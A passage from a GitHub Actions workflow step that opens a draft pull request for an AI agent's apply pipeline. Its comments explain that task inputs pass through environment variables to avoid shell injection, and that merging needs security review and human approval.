# GH_TOKEN. Untrusted values used below are env-indirected (CWE-94).
GH_TOKEN: ${{ steps.app-token.outputs.token }}
TASK_ID: ${{ inputs.task_id }}
DIFF_HASH: ${{ needs.guard.outputs.diff_hash }}
# The repo the PR is opened in (the App installation's repo).
GH_REPO: ${{ github.repository }}
run: |
set -euo pipefail
# Draft PR ONLY; never auto-merge (D2). Branch protection + the
# required reviewer on the agent-apply environment + the security
# review + the Claude Code App review are the final enforcement
# (boundary 5). The agent NEVER merges. task_id / diff_hash are read
# from the environment (not interpolated into this script) so an
# untrusted task_id cannot inject shell.
#
# NOTE: the dispatcher records the agent branch name in the ledger and
# passes it in at provisioning; the branch is created by the trusted
# apply path (the box has no write token, D2), so this step only OPENS
# the PR for an already-pushed agent branch. Wire `--head` to that
# branch input at provisioning.
title="agent-apply: ${TASK_ID} (diff ${DIFF_HASH})"
body="$(printf 'Automated draft PR from the agent-team apply/verify pipeline.\n\nTask: %s\nDiff hash: %s\n\nDRAFT ONLY — never auto-merged. Requires: green required checks, security review, Claude Code App review, and human approval (D2, boundary 5).' "$TASK_ID" "$DIFF_HASH")"
gh pr create \
--draft \
--title "$title" \
--body "$body" \
--base main
echo "draft PR opened (task=$TASK_ID); never auto-merged."